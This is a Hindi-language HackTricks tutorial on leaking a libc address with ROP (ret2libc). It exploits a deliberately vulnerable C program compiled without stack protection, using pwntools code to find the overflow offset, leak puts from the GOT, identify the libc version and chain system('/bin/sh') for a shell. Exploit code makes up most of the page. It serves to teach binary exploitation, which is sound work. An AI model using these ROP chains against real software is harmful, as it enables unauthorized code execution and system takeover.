ROP के साथ libc पता लीक करना

Reading time: 11 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

त्वरित सारांश

  1. ओवरफ्लो ऑफसेट खोजें
  2. खोजें POP_RDI गैजेट, PUTS_PLT और MAIN गैजेट
  3. पिछले गैजेट्स का उपयोग करें puts या अन्य libc फ़ंक्शन का मेमोरी पता लीक करने के लिए और libc संस्करण खोजें (donwload it)
  4. पुस्तकालय के साथ, ROP की गणना करें और इसका शोषण करें

अभ्यास के लिए अन्य ट्यूटोरियल और बाइनरी

यह ट्यूटोरियल इस ट्यूटोरियल में प्रस्तावित कोड/बाइनरी का शोषण करने जा रहा है: https://tasteofsecurity.com/security/ret2libc-unknown-libc/
अन्य उपयोगी ट्यूटोरियल: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html

कोड

फाइल का नाम: vuln.c

c
#include <stdio.h>

int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);

return 0;
}
bash
gcc -o vuln vuln.c -fno-stack-protector -no-pie

ROP - LIBC लीक करने का टेम्पलेट

एक्सप्लॉइट डाउनलोड करें और इसे कमजोर बाइनरी के समान निर्देशिका में रखें और स्क्रिप्ट को आवश्यक डेटा दें:

Leaking libc - template

1- ऑफसेट खोजना

टेम्पलेट को एक्सप्लॉइट के साथ आगे बढ़ने से पहले एक ऑफसेट की आवश्यकता होती है। यदि कोई प्रदान किया गया है, तो यह इसे खोजने के लिए आवश्यक कोड निष्पादित करेगा (डिफ़ॉल्ट रूप से OFFSET = ""):

bash
###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return

कार्यान्वित करें python template.py एक GDB कंसोल खोला जाएगा जिसमें प्रोग्राम क्रैश हो रहा है। उस GDB कंसोल के अंदर x/wx $rsp निष्पादित करें ताकि बाइट्स प्राप्त हो सकें जो RIP को ओवरराइट करने वाले थे। अंत में एक python कंसोल का उपयोग करके ऑफसेट प्राप्त करें:

python
from pwn import *
cyclic_find(0x6161616b)

ऑफसेट (इस मामले में 40) खोजने के बाद, उस मान का उपयोग करके टेम्पलेट के अंदर OFFSET वेरिएबल को बदलें।
OFFSET = "A" * 40

एक और तरीका होगा: pattern create 1000 -- ret तक निष्पादित करें -- pattern seach $rsp GEF से।

2- गैजेट्स खोजना

अब हमें बाइनरी के अंदर ROP गैजेट्स खोजने की आवश्यकता है। ये ROP गैजेट्स puts को कॉल करने के लिए उपयोगी होंगे ताकि libc का पता लगाया जा सके, और बाद में अंतिम एक्सप्लॉइट लॉन्च करने के लिए।

python
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))

PUTS_PLT को function puts को कॉल करने के लिए आवश्यक है।
MAIN_PLT को main function को फिर से कॉल करने के लिए आवश्यक है एक इंटरैक्शन के बाद overflow को फिर से exploit करने के लिए (शाश्वत शोषण के राउंड)। यह प्रत्येक ROP के अंत में प्रोग्राम को फिर से कॉल करने के लिए उपयोग किया जाता है।
POP_RDI को कॉल की गई फ़ंक्शन को parameter pass करने के लिए आवश्यक है।

इस चरण में आपको कुछ भी निष्पादित करने की आवश्यकता नहीं है क्योंकि सब कुछ pwntools द्वारा निष्पादन के दौरान पाया जाएगा।

3- libc लाइब्रेरी खोजना

अब यह पता लगाने का समय है कि कौन सी libc लाइब्रेरी का संस्करण उपयोग किया जा रहा है। ऐसा करने के लिए हम function puts के मेमोरी में address को leak करने जा रहे हैं और फिर हम यह खोजने जा रहे हैं कि उस पते में puts संस्करण किस library version में है।

python
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)

#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

return hex(leak)

get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()

इसको करने के लिए, निष्पादित कोड की सबसे महत्वपूर्ण पंक्ति है:

python
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

यह कुछ बाइट्स भेजेगा जब तक RIP को ओवरराइट करना संभव न हो: OFFSET.
फिर, यह गैजेट POP_RDI का पता सेट करेगा ताकि अगला पता (FUNC_GOT) RDI रजिस्ट्रि में सहेजा जा सके। इसका कारण यह है कि हम puts को कॉल करना चाहते हैं उसे PUTS_GOT का पता पास करते हुए क्योंकि मेमोरी में puts फ़ंक्शन का पता PUTS_GOT द्वारा इंगित किए गए पते में सहेजा गया है।
इसके बाद, PUTS_PLT को कॉल किया जाएगा (जिसमें PUTS_GOT RDI के अंदर है) ताकि puts PUTS_GOT के अंदर की सामग्री (मेमोरी में puts फ़ंक्शन का पता) को पढ़े और इसे प्रिंट करे।
अंत में, मुख्य फ़ंक्शन फिर से कॉल किया जाता है ताकि हम फिर से ओवरफ्लो का लाभ उठा सकें।

इस तरह हमने puts फ़ंक्शन को प्रिंट करने के लिए धोखा दिया है मेमोरी में फ़ंक्शन puts का पता (जो libc लाइब्रेरी के अंदर है)। अब जब हमारे पास वह पता है, हम खोज सकते हैं कि कौन सा libc संस्करण उपयोग में है

चूंकि हम कुछ स्थानीय बाइनरी का शोषण कर रहे हैं, इसलिए यह जानने की आवश्यकता नहीं है कि कौन सा libc संस्करण उपयोग में है (बस /lib/x86_64-linux-gnu/libc.so.6 में लाइब्रेरी खोजें)।
लेकिन, एक दूरस्थ शोषण मामले में, मैं यहाँ बताऊंगा कि आप इसे कैसे खोज सकते हैं:

3.1- libc संस्करण की खोज (1)

आप वेब पृष्ठ पर देख सकते हैं कि कौन सी लाइब्रेरी उपयोग में है: https://libc.blukat.me/
यह आपको libc के खोजे गए संस्करण को डाउनलोड करने की भी अनुमति देगा।

3.2- libc संस्करण की खोज (2)

आप यह भी कर सकते हैं:

  • $ git clone https://github.com/niklasb/libc-database.git
  • $ cd libc-database
  • $ ./get

इसमें कुछ समय लगेगा, धैर्य रखें।
इसके काम करने के लिए हमें आवश्यकता है:

  • Libc प्रतीक नाम: puts
  • लीक किया गया libc पता: 0x7ff629878690

हम यह पता लगा सकते हैं कि कौन सा libc सबसे अधिक संभावना है कि उपयोग में है।

bash
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)

हमारे पास 2 मेल हैं (यदि पहला काम नहीं कर रहा है तो आपको दूसरे को आजमाना चाहिए)। पहला डाउनलोड करें:

bash
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64

libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so से libc को हमारी कार्यशील निर्देशिका में कॉपी करें।

3.3- लीक करने के लिए अन्य फ़ंक्शन

python
puts
printf
__libc_start_main
read
gets

4- आधारित libc पता लगाना और शोषण करना

इस बिंदु पर हमें उपयोग की जाने वाली libc लाइब्रेरी का पता होना चाहिए। चूंकि हम एक स्थानीय बाइनरी का शोषण कर रहे हैं, मैं बस उपयोग करूंगा: /lib/x86_64-linux-gnu/libc.so.6

तो, template.py के शुरुआत में libc वेरिएबल को बदलें: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it

libc लाइब्रेरी के लिए पथ देने से शोषण स्वचालित रूप से गणना किया जाएगा

get_addr फ़ंक्शन के अंदर libc का आधार पता गणना किया जाएगा:

python
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

note

ध्यान दें कि अंतिम libc बेस पता 00 पर समाप्त होना चाहिए। यदि ऐसा नहीं है, तो आप एक गलत पुस्तकालय लीक कर सकते हैं।

फिर, फ़ंक्शन system का पता और स्ट्रिंग "/bin/sh" का पता libc के बेस पते से गणना किया जाएगा और libc पुस्तकालय दिया जाएगा।

python
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))

अंत में, /bin/sh निष्पादन शोषण तैयार किया जा रहा है:

python
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)

p.clean()
p.sendline(rop2)

#### Interact with the shell #####
p.interactive() #Interact with the conenction

आइए इस अंतिम ROP को समझाते हैं।
अंतिम ROP (rop1) ने फिर से मुख्य फ़ंक्शन को कॉल किया, फिर हम फिर से शोषण कर सकते हैं ओवरफ्लो (इसलिए OFFSET यहाँ फिर से है)। फिर, हम POP_RDI को कॉल करना चाहते हैं जो "/bin/sh" (BINSH) के पते की ओर इशारा करता है और system फ़ंक्शन (SYSTEM) को कॉल करते हैं क्योंकि "/bin/sh" का पता एक पैरामीटर के रूप में पास किया जाएगा।
अंत में, exit फ़ंक्शन का पता कॉल किया जाता है ताकि प्रक्रिया अच्छी तरह से समाप्त हो जाए और कोई अलर्ट उत्पन्न न हो।

इस तरह शोषण एक _/bin/sh_** शेल को निष्पादित करेगा।**

4(2)- ONE_GADGET का उपयोग करना

आप ONE_GADGET का उपयोग करके system और "/bin/sh" के बजाय एक शेल प्राप्त कर सकते हैं। ONE_GADGET libc पुस्तकालय के अंदर एक शेल प्राप्त करने का एक तरीका खोजेगा जो केवल एक ROP पता का उपयोग करता है।
हालांकि, सामान्यतः कुछ सीमाएँ होती हैं, सबसे सामान्य और आसानी से बचने वाली सीमाएँ हैं जैसे [rsp+0x30] == NULL। चूंकि आप RSP के अंदर के मानों को नियंत्रित करते हैं, इसलिए आपको कुछ और NULL मान भेजने की आवश्यकता है ताकि सीमा से बचा जा सके।

python
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100

EXPLOIT FILE

आप इस कमजोरियों का फायदा उठाने के लिए एक टेम्पलेट यहाँ पा सकते हैं:

Leaking libc - template

सामान्य समस्याएँ

MAIN_PLT = elf.symbols['main'] नहीं मिला

यदि "main" प्रतीक मौजूद नहीं है। तो आप मुख्य कोड कहाँ है, यह पता कर सकते हैं:

python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:

और पते को मैन्युअल रूप से सेट करें:

python
MAIN_PLT = 0x401080

Puts नहीं मिला

यदि बाइनरी Puts का उपयोग नहीं कर रही है, तो आपको यह जांचना चाहिए कि क्या यह उपयोग कर रही है

sh: 1: %s%s%s%s%s%s%s%s: नहीं मिला

यदि आप सभी एक्सप्लॉइट बनाने के बाद यह त्रुटि पाते हैं: sh: 1: %s%s%s%s%s%s%s%s: नहीं मिला

तो "/bin/sh" के पते से 64 बाइट घटाने का प्रयास करें:

python
BINSH = next(libc.search("/bin/sh")) - 64

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें